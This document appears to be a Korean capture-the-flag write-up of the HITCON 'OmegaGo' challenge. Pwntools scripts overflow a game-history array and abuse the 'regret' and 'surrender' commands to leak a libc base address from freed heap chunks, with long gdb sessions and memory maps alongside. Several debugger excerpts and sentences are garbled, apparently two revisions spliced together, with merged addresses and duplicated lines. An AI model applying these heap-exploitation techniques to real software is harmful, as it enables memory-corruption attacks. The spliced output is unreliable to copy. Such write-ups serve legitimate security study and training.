...
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import *
#context.log_level = 'debug'
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')
def Play(location):
p.recvuntil('\n\n')
p.sendline(location)
def Fill(colStart, colEnd, row):
for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
locate = str(col_list[colNum])
locate += str(row)
Play(locate)
Fill('B','S',11)
for count in reversed(range(1,9)):
Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
p.interactive() |
- 디버깅 전에 각 전역 변수의 위치를 알아야 합니다.
- gGameInfo : 0x609FC0
- gHistory : 0x609460
- gPlayerGameInfo Address(0x609FC0) - gHistory(0x609460) = 0xb60(2912) / 0x8(address len) = 364
- 다음은 디버깅을 통해 확인한 내용입니다.
- gPlayerGameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장된 것을 확인 할 수 있습니다.
...
공격에 필요한 정보 수집
Leak Libc address
- 다음과 같은 방법을 이용해 Libc address를 추출할 같이 "regret"기능을 이용해 Heap 영역에 "main_arena.top" 영역의 주소를 저장 할 수 있습니다.
- 앞에서 작성한 스크립트 코드에 의해 gPlayerGameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장되었습니다.
- 사용자가 위치 값을 입력하면 GameInfo(0x80)를 생성해서 gHistory[]에 저장합니다.
- AI GameInfo : 0x61d220
- HUMAN GameInfo : 0x61d160
- AI,HUMAN GameInfo 사이에 크기가 0x20인 Heap 영역이 할당되어 있습니다.
- Heap address : 0x61d1f0
Code Block |
---|
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 4155 Attaching to process 4155 ./omega* Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done. Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done. Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done. Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done. done. Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done. done. Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done. done.gdb-peda$ r Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac ABCDEFGHIJKLMNOPQRS ...Print board... Time remain: O: 180.00, X: 180.00 A19 ABCDEFGHIJKLMNOPQRS ...Print board... Time remain: O: 180.00, X: 176.49 ^C Program received signal SIGINT, Interrupt. gdb-peda$ x/4gx 0x609460 0x609460: 0x000000000061cc90 0x000000000061d160 0x609470: 0x000000000061d220 0x0000000000000000 gdb-peda$ x/4gx 0x000000000061d160 - 0x10 0x61d150: 0xb3c74b70123a5ec4 0x0000000000000091 0x61d160: 0x0000000000000002 0x0000000000000000 gdb-peda$ x/4gx 0x000000000061d220 - 0x10 0x61d210: 0x91f146e6557b6e4a 0x0000000000000091 0x61d220: 0x0000000000000002 0x0000000000000000 gdb-peda$ x/gx4gx 0x609fc00x61d1e0 0x609fc00x61d1e0: 0x00000000011d4e300xf90d94745f8a1984 0x0000000000000031 0x61d1f0: 0xeeda74e900000001 0x0000000000607228 gdb-peda$ c Continuing. |
- "D19"를 입력 하면 gPlayerGameInfo 영역에 영향을 주게됩니다.
Code Block |
---|
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py
[!] Could not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 4155
[*] Switching to interactive mode
ABCDEFGHIJKLMNOPQRS
...Print board...
Time remain: O: 180.00, X: 179.85
$ D19
ABCDEFGHIJKLMNOPQRS
...Print board...
Time remain: O: 180.00, X: 145.32
$c
Continuing. |
- 사용자 입력 값("D19")으로 인해 "0x11d4e30" → "0x11d4eb0"으로 변경되었습니다.
- "regret" 기능을 호출하게되면 gHistory[]의 맨 마지막에 저장된 2개의 GameInfo를 삭제합니다.
- 분석을 위해 "0x4015CE" 영역에 Break point를 설정합니다.
AI GameInfo(0x61d220) 영역이 해제되면 해당 영역이 Top chunk가 됩니다.
- 0x61d210 영역이 main_arena의 top 영역에 저장됩니다.
- HUMAN GameInfo(0x61d160) 영역이 해제되면 해당 영역은 Unsorted chunk가 됩니다.
- 0x61d150 영역이 main_arena.bin[0], [1] 영역에 저장됩니다.
- Unsorted chunk(0x61d150)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
Code Block |
---|
gdb-peda$ b *0x4015CE
Breakpoint 1 at 0x4015ce
gdb-peda$ c
Continuing.
regret
Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ i r rdi
rdi 0x61d220 0x61d220
gdb-peda$ p main_arena.top
$1 = (mchunkptr) 0x61d210
gdb-peda$ c
Continuing.
Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ i r rdi
rdi 0x61d160 0x61d160
gdb-peda$ ni
gdb-peda$ p main_arena.bins[0]
$2 = (mchunkptr) 0x61d150
gdb-peda$ p main_arena.bins[1]
$3 = (mchunkptr) 0x61d150
gdb-peda$ |
Code Block |
^C Program received signal SIGINT, Interrupt. 0x00007fcd3fc8d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 in ../sysdeps/unix/syscall-template.S gdb-peda$ x/gx 0x609fc0 0x609fc0: 0x00000000011d4eb0 gdb-peda$ x/gx 0x00000000011d4eb0 0x11d4eb0: 0x00000000000000004gx 0x61d150 0x61d150: 0xb3c74b70123a5ec4 0x0000000000000091 0x61d160: 0x00007ffff7839b78 0x00007ffff7839b78 gdb-peda$ |
다음과 같은
방법으로 Libc address를 메모리에 저장할방법으로 gPlayerGameInfo에 저장된 값(Heap address)을 변경할 수 있습니다.
"regret" 명령어를 입력합니다.
- DeletePlayHistory()함수에서는 History[] 배열 끝에 저장된 2개의 Heap주소를 할당 해제 하게됩니다.
- 이로 인해 해제된 메모리 영역에 Heap 영역에 Libc address를 저장할 수 있습니다.
- 다음은 디버깅을 통해 확인한 내용입니다.
- history[] 배열 마지막에 저장된 heap address 2개는 0x0201a180, 0x0201a0c0 입니다.
- 0x0201a0c0이 마지막으로 할당 해제 됩니다.
- 0x0201a0c0에는 GameInfo 구조체의 값을 저장하고 있습니다.
- "regret" 명령어 실행 후에는 0x1ca40c0 영역에 Libc address(0x00007fd2579d47b8)가 저장됩니다.
- 사실 0x00007fd2579d47b8는 Libc address가 아닙니다.
- 해당 프로세스의 메모리 맵을 보면 "/lib/x86_64-linux-gnu/libc-2.19.so"가 사용하는 메모리 뒷부분입니다.
- 하지만 이 값을 이용하여 Libc address base의 offset을 구할 수 있습니다.
0x7fd2579d47b8 - 0x7fd257616000 = 0x3be7b8
Code Block | ||
---|---|---|
| ||
(gdb) x/12gx 0x609FC0 - 0x10
0x609fb0: 0x000000000201a000 0x000000000201a0c0
0x609fc0: 0x000000000201a180 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000000
0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa
0x609ff0: 0x5554000155555555 0x0000000000000055
0x60a000: 0x0000000000000000 0x0000000000000000
(gdb) x/18gx 0x000000000201a0c0
0x201a0c0: 0x0000000000000000 0x0000000000000000
0x201a0d0: 0x0000000000000000 0x0000000000000000
0x201a0e0: 0xaaaa0000aaaaa800 0x50000100002aaaaa
0x201a0f0: 0x5550000155555555 0x0000000000000055
0x201a100: 0x0000000000000000 0x0000000000000000
0x201a110: 0x0000000000000000 0x0000000000000000
0x201a120: 0x0000000a00000007 0x0000000000000058
0x201a130: 0x40667fdc209246b8 0x40666f6b9e492bc5
0x201a140: 0x0000000000000000 0x0000000000000031
(gdb) c
Continuing.
regret
^C
Program received signal SIGINT, Interrupt.
0x00007fd2577016b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81 in ../sysdeps/unix/syscall-template.S
(gdb) x/18gx 0x0000000001ca40c0
0x1ca40c0: 0x00007fd2579d47b8 0x00007fd2579d47b8
0x1ca40d0: 0x0000000000000000 0x0000000000000000
0x1ca40e0: 0xaaaa0000aaaaa800 0x50000100002aaaaa
0x1ca40f0: 0x5550000155555555 0x0000000000000055
0x1ca4100: 0x0000000000000000 0x0000000000000000
0x1ca4110: 0x0000000000000000 0x0000000000000000
0x1ca4120: 0x0000000a00000007 0x0000000000000058
0x1ca4130: 0x40667fe2174c4cdb 0x406670861e92923f
0x1ca4140: 0x0000000000000090 0x0000000000000030
(gdb) info proc map
process 4778
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x407000 0x7000 0x0 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
0x606000 0x607000 0x1000 0x6000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
0x607000 0x608000 0x1000 0x7000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
0x608000 0x60b000 0x3000 0x0
0x1c93000 0x1cb4000 0x21000 0x0 [heap]
0x7fd257310000 0x7fd257415000 0x105000 0x0 /lib/x86_64-linux-gnu/libm-2.19.so
0x7fd257415000 0x7fd257614000 0x1ff000 0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
0x7fd257614000 0x7fd257615000 0x1000 0x104000 /lib/x86_64-linux-gnu/libm-2.19.so
0x7fd257615000 0x7fd257616000 0x1000 0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
0x7fd257616000 0x7fd2577d0000 0x1ba000 0x0 /lib/x86_64-linux-gnu/libc-2.19.so
0x7fd2577d0000 0x7fd2579d0000 0x200000 0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
0x7fd2579d0000 0x7fd2579d4000 0x4000 0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
0x7fd2579d4000 0x7fd2579d6000 0x2000 0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so
0x7fd2579d6000 0x7fd2579db000 0x5000 0x0
0x7fd2579db000 0x7fd2579f1000 0x16000 0x0 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd2579f1000 0x7fd257bf0000 0x1ff000 0x16000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd257bf0000 0x7fd257bf1000 0x1000 0x15000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd257bf1000 0x7fd257cd7000 0xe6000 0x0 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
0x7fd257cd7000 0x7fd257ed6000 0x1ff000 0xe6000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
0x7fd257ed6000 0x7fd257ede000 0x8000 0xe5000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
0x7fd257ede000 0x7fd257ee0000 0x2000 0xed000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
0x7fd257ee0000 0x7fd257ef5000 0x15000 0x0
0x7fd257ef5000 0x7fd257f18000 0x23000 0x0 /lib/x86_64-linux-gnu/ld-2.19.so
0x7fd2580f8000 0x7fd2580fd000 0x5000 0x0
0x7fd258114000 0x7fd258117000 0x3000 0x0
0x7fd258117000 0x7fd258118000 0x1000 0x22000 /lib/x86_64-linux-gnu/ld-2.19.so
0x7fd258118000 0x7fd258119000 0x1000 0x23000 /lib/x86_64-linux-gnu/ld-2.19.so
0x7fd258119000 0x7fd25811a000 0x1000 0x0
0x7ffe6668e000 0x7ffe666af000 0x21000 0x0 [stack]
0x7ffe66744000 0x7ffe66746000 0x2000 0x0 [vvar]
0x7ffe66746000 0x7ffe66748000 0x2000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
(gdb) p/x 0x00007fd2579d47b8 - 0x7fd257616000
$1 = 0x3be7b8 |
- 앞에서 설명한 방법으로는 Heap 영역에 Libc address를 저장했지만 출력하지는 못합니다.
- 다음은 Heap 영역에 저장된 Libc address를 출력하는 방법입니다.
- "surrender" 명령어를 2번 호출합니다.
- gameInfo 전역변수에 Overwrite된 Heap 주소 값을 변경합니다.(0x******00 → 0x******80)
- 앞에서 "surrender" 명령어를 호출하는 이유는 gameInfo 전역변수의 첫번째 공간에 0x00으로 끝나는 주소를 저장하기 위해서 입니다.
- 해당 값이 0x00 이 아니라면 좌표 값을 입력할 수 없습니다.
- 좌표 값을 입력하여 Overwirte된 주소 값을 변경합니다.(D19)
- "regret" 명령어를 실행합니다.
regret() 함수는 마지막에 저장된 heap address 2개를 제거합니다.
history[] 배열의 끝에 저장된 값은 공격자가 입력한 좌표 값에 의해 변경된 heap 주소 입니다.
- regret() 함수는 해당 주소 값을 기준으로 추출한 정보를 전역 변수 gameInfo 에 저장합니다.
- 디버깅을 이용해 확인해보겠습니다.
- "surrender"에 의해 0x609fc0영역에 0x00으로 끝나는 Heap 주소(0xdd5200)가 저장되었습니다.
좌표값 "D19"를 입력해 0x00를 0x80으로 변경했습니다.(0xdd5280)
0xdd5280 값을 기준으로 데이터를 전역 변수 gameInfo에 저장합니다.
Script를 이용해 gHistory[]영역에 GameInfo를 365개를 저장합니다.
이로 인해 gPlayerGameInfo의 board[0] 영역에 Heap 영역이 저장됩니다.
gPlayerGameInfo(0x609fc0) : 0x1c88e30
gPlayerGameInfo 영역에 저장된 Heap 주소 값은 사용자 입력 값으로 변경 할 수 있습니다.
사용자 입력 값으로 "D19"를 입력합니다.
해당 값으로 인해 gPlayerGameInfo에 저장된 Heap 주소가 "0x1c88e30" 에서 "0x1c88eb0"으로 변경되었습니다.
"0x1c88e30" + "0x80" = 0x1c88eb0
Code Block |
---|
lazenca0x0@ubuntu:~$ gdb -p 4425
gdb-peda$ x/4gx 0x609FC0
0x609fc0: 0x0000000001c88e30 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000000
gdb-peda$ b *0x4015CE
Breakpoint 1 at 0x4015ce
gdb-peda$ c
Continuing.
Input "D19"
gdb-peda$ x/4gx 0x609FC0
0x609fc0: 0x0000000001c88eb0 0x0000000001c88ef0
0x609fd0: 0x0000000001c88fb0 0x0000000000000000
gdb-peda$ p/x 0x1c88e30 + 0x80
$1 = 0x1c88eb0
gdb-peda$ |
- 다음과 같은 방법으로 Unsorted chunk의 fd, bk영역에 저장된 main_arena.top의 주소 값 출력 할 수있습니다.
- "regret" 기능을 호출하면 gHistory[] 배열의 마지막에 저장된 2개의 Heap 영역이 해제됩니다.
- 앞에서 설명했듯이 HUMAN GameInfo(0x1c88ef0) 영역이 Unsorted chunk됩니다.
- Unsorted chunk(0x1c88ee0)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
- fd(0x1c88ef0) : 0x7f4b7d233b78
- bk(0x1c88ef8) : 0x7f4b7d233b78
- regret() 함수는 gHistory[365]에 저장된 주소(0x1c88eb0)를 이용해 GameInfo를 gPlayerGameInfo 전역 변수에 저장합니다.
- 즉, Unsorted chunk(0x1c88ee0)의 fd, bk 영역이 출력됩니다.
- 해당 값을 앞에서 작성한 Decode() 함수를 이용해 해석 할 수 있습니다.
- "regret" 기능을 호출하면 gHistory[] 배열의 마지막에 저장된 2개의 Heap 영역이 해제됩니다.
Code Block | ||
---|---|---|
gdb-peda$ c
Continuing.
Breakpoint 1, 0x00000000004015ce | ||
Code Block | ||
| ||
(gdb) x/12gx 0x609FC0 0x609fc0: 0x000000000105e200 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa 0x609ff0: 0x5554000155555555 0x0000000000000055 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000000 (gdb) b *0x4016C9 Breakpoint 1 at 0x4016c9 (gdb) b *0x4017FC Breakpoint 2 at 0x4017fc (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) c Continuing. //D19 Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/12gx 0x609FC0 0x609fc0: 0x000000000105e280 0x000000000105e2c0 0x609fd0: 0x000000000105e380 0x0000000000000000 0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa 0x609ff0: 0x5554000155555555 0x0000000000000055 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000400 (gdb) c Continuing. //regret Breakpoint 2, 0x00000000004016c5 in ?? () (gdb) x/2i $rip => 0x4016c5: mov 0x40(%rax),%rdx 0x4016c9: mov %rdx,0x208930(%rip) # 0x60a000 (gdb) set disassembly-flavor intel (gdb) x/2i $rip => 0x4016c5: mov rdx,QWORD PTR [rax+0x40] 0x4016c9: mov QWORD PTR [rip+0x208930],rdx # 0x60a000 (gdb) i r rax rax 0xdd5280 14504576 (gdb) x/18gx 0xdd5280 0xdd5280: 0x0000000000000000 0x0000000000000031 0xdd5290: 0x0000000000dd5340 0x0000000000dcd3d0 0xdd52a0: 0x0000000000000000 0x0000000000000000 0xdd52b0: 0x240b2f4828c52f0b 0x0000000000000091 0xdd52c0: 0x00007fcad9e447b8 0x00007fcad9e447b8 0xdd52d0: 0x0000000000000000 0x0000000000000000 0xdd52e0: 0xaaaa0000aaaaa800 0x50000100002aaaaa 0xdd52f0: 0x5554000155555555 0x0000000000000055 0xdd5300: 0x0000000000000000 0x0000000000000000 (gdb) x/gx 0xdd5280 + 0x40 0xdd52c0: 0x00007fcad9e447b8 (gdb) ni 0x00000000004016c9 in ?? () (gdb) i r rip rip 0x4016c9 0x4016c9 (gdb)-peda$ c Continuing. Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ ni gdb-peda$ x/4gx 0x1c88ef0 - 0x10 0x1c88ee0: 0x33bb5de964b6f848 0x0000000000000091 0x1c88ef0: 0x00007f4b7d233b78 0x00007f4b7d233b78 gdb-peda$ p/x 0x2089300x1c88ef0 +- 0x4016c90x1c88eb0 $1$2 = 0x609ff90x40 (gdb) x/12gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000031 0x609fd0: 0x0000000000dd5340 0x0000000000dcd3d0 0x609fe0: 0x0000000000000000 0x0000000000000000 0x609ff0: 0x240b2f4828c52f0b 0x0000000000000091 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000400 (gdb) ni 0x00000000004016d0 in ?? () (gdb)gdb-peda$ c Continuing. ^C Program received signal SIGINT, Interrupt. 0x00007f4b7cf66230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 in ../sysdeps/unix/syscall-template.S gdb-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000031 0x609fd0: 0x0000000000dd53400x0000000001c88f70 0x0000000000dcd3d00x0000000001c83880 0x609fe0: 0x0000000000000000 0x0000000000000000 0x609ff0: 0x240b2f4828c52f0b0x33bb5de964b6f848 0x0000000000000091 0x60a000: 0x00007fcad9e447b80x00007f4b7d233b78 0x00000000000000000x00007f4b7d233b78 0x60a010: 0x0000000000000000 0x00000000000004000x0000000000000000 (gdb) p/x 0x208930 + 0x4016d0 $2 = 0x60a000gdb-peda$ |
- 다음 코드를 이용할 수 있습니다다음과 같은 코드를 이용하면 됩니다.
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import *
#context.log_level = 'debug'
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')
def Play(location):
p.recvuntil('\n\n')
p.sendline(location)
def surrender():
p.recvuntil('\n\n')
p.sendline('surrender')
p.recvuntil('Play history? (y/n)')
p.sendline('n')
p.recvuntil('Play again? (y/n)')
p.sendline('y')
def Fill(colStart, colEnd, row):
for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
locate = str(col_list[colNum])
locate += str(row)
Play(locate)
def readBoard():
global board
board = []
p.recvline()
for line in range(0,19):
p.recv(3)
board.append(p.recvuntil('\n')[0:19])
def decode(offset):
bit_offset = offset * 8
data = ''.join(board)
result = 0
for i in xrange(32):
states = '.OX\0'
val = states.index(data[bit_offset + i])
result |= val << (i * 2)
#print str(result) + ' |= ' + str(val) + ' << (' + str(i) + '* 2)'
return result
def LeakLibcAddress():
readBoard()
return decode(32)
#Memory reconstruction
surrender()
surrender()
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
#sleep(20)
p.recvuntil('\n\n')
p.sendline('regret')
libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
p.interactive() |
...